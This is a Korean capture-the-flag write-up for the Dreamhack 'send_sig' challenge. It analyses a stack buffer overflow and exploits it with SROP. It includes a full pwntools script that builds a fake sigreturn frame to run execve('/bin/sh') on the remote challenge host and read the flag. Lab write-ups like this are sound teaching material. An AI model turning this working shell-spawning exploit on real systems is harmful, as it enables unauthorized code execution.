send_sig
The program forwards a signal number straight to the kernel; the exploit is choosing the right one.
- 문제 개요 문제 설명은 다음과 같다. 서버로 signal을 보낼 수 있는 프로그램입니다! 프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요. flag는 /home/send_sig/flag.txt에 있습니다. 처음 프로그램을 실행하면 다음과 같은 화면이 출력된다. ++++++++++++++++++Welcome to dreamhack++++++++++++++++++ + You can send a signal to dreamhack server. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Signal: 문제 이름이 send_sig이고 입력 프롬프트가 Signal:이기 때문에, 처음에는 단순히 특정 signal 번호를 보내는 문제처럼 보 인다.
하지만 바이너리를 분석해보면 실제 핵심은 stack buffer overflow와 SROP(Sigreturn Oriented Programming)이다.
- 취약점 분석 바이너리는 stripped 상태라서 main 심볼이 보이지 않았다. 그래서 disassembly를 통해 주요 코드를 확인했다. 중요한 함수 부분은 다음과 같다. 4010ba: 55 push rbp 4010bb: 48 89 e5 mov rbp, rsp 4010be: 48 83 ec 10 sub rsp, 16 4010c2: ba 07 00 00
00 mov edx, 7 4010c7: 48 8d 35 3a 0f 00 00 lea rsi, [rip + 3898] # 0x402008 4010ce: bf 01 00 00 00 mov
edi, 1 4010d8: e8 73 ff ff ff call write 4010dd: 48 8d 45 f8 lea rax, [rbp - 8] 4010e1: ba 00 04 00 00 mov edx, 1024 4010e6: 48 89 c6 mov rsi, rax 4010e9: bf 00 00 00 00 mov edi, 0 4010f3: e8 68 ff ff ff call read 4010f9: c9 leave 4010fa: c3 ret 이 부분을 C 코드처럼 해석하면 대략 다음과 같다.
void vuln() { char buf[8]; write(1, "Signal:", 7); read(0, buf, 1024); }
여기서 buf는 rbp - 0x8 위치에 있다. lea rax, [rbp - 8] 그런데 read()는 최대 1024바이트를 입력받는다. mov edx, 1024 call read 즉, 8바이트짜리 버퍼에 1024바이트를 입력받는 stack buffer overflow가 발생한다.
- Offset 구하기 이번 문제에서 가장 중요한 부분은 return address까지의 offset을 구하는 것이다. 입력 버퍼는 다음 위치에 있다.
buf = rbp - 0x8
함수의 stack 구조는 다음과 같다 . rbp - 0x8 → 입력 버퍼 시작
rbp → saved rbp
rbp + 0x8 → return address
우리가 덮고 싶은 것은 return address이므로, 입력 버퍼 시작 위치부터 return address까지의 거리를 계산한다.
return address - buf
= (rbp + 0x8) - (rbp - 0x8)
= 0x10
= 16 bytes
따라서 RIP offset은 16바이트이다. 입력값은 다음과 같이 들어간다.
입력 07바이트 → buf 입력 815바이트 → saved rbp 입력 16~23바이트 → return address
따라서 payload의 기본 구조는 다음과 같다. payload = b”A” * 16 + p64(덮어쓸_주소)
- /bin/sh 문자열 확인 strings 명령어로 바이너리 안의 문자열을 확인했다. strings -a -t x ./send_sig 결과 중 /bin/sh 문자열이 존재했다. 2000 /bin/sh 2008 Signal: 바이너리가 No PIE이므로 .rodata의 주소는 고정되어 있다. 따라서 /bin/sh 문자열의 실제 주소는 다음과 같이 사용할 수 있다.
/bin/sh = 0x402000
- SROP 개념 SROP는 rt_sigreturn syscall을 이용해 레지스터 값을 한 번에 조작하는 기법이다. Linux x86-64에서 중요한 syscall 번 호는 다음과 같다.
rt_sigreturn = 15
execve = 59
우리는 먼저 rax를 15로 설정한 뒤 syscall을 실행한다.
rax = 15
syscall 그러면 커널은 현재 stack에 있는 fake sigreturn frame을 읽고, 그 안에 있는 값으로 레지스터들을 복구한다. 이 fake frame 안에 다음 값을 넣으면:
rax = 59
rdi = 0x402000
rsi = 0
rdx = 0
rip = 0x4010b0
최종적으로 다음 syscall이 실행된다. execve(“/bin/sh”, 0, 0); 즉, shell을 얻을 수 있다.
- Exploit 작성 최종 exploit 코드는 다음과 같다.
from pwn import * context.arch = "amd64" HOST = "host8.dreamhack.games" PORT = 9132 pop_rax_ret =
0x4010ae syscall_ret = 0x4010b0 bin_sh = 0x402000 p = remote(HOST, PORT) frame = SigreturnFrame()
frame.rax = 59 # execve frame.rdi = bin_sh # "/bin/sh" frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret
payload = b"A" * 16 payload += p64(pop_rax_ret) payload += p64(15) # rt_sigreturn payload +=
p64(syscall_ret) payload += bytes(frame) p.sendafter(b"Signal:", payload) p.sendline(b"cat /home/send_sig/
flag.txt") p.interactive()
- Payload 구조 정리 payload는 다음과 같은 구조이다. “A” * 16 → return address까지 도달하기 위한 padding pop rax ; ret → rax 값을 조작하기 위한 gadget 15 → rt_sigreturn syscall 번호 syscall ; ret → rt_sigreturn 실행 fake sigreturn frame → execve(“/bin/sh”, 0, 0)를 실행하 기 위한 레지스터 상태 fake sigreturn frame에는 다음 값이 들어간다.
rax = 59 # execve rdi = 0x402000 # "/bin/sh" rsi = 0 rdx = 0 rip = 0x4010b0 # syscall ; ret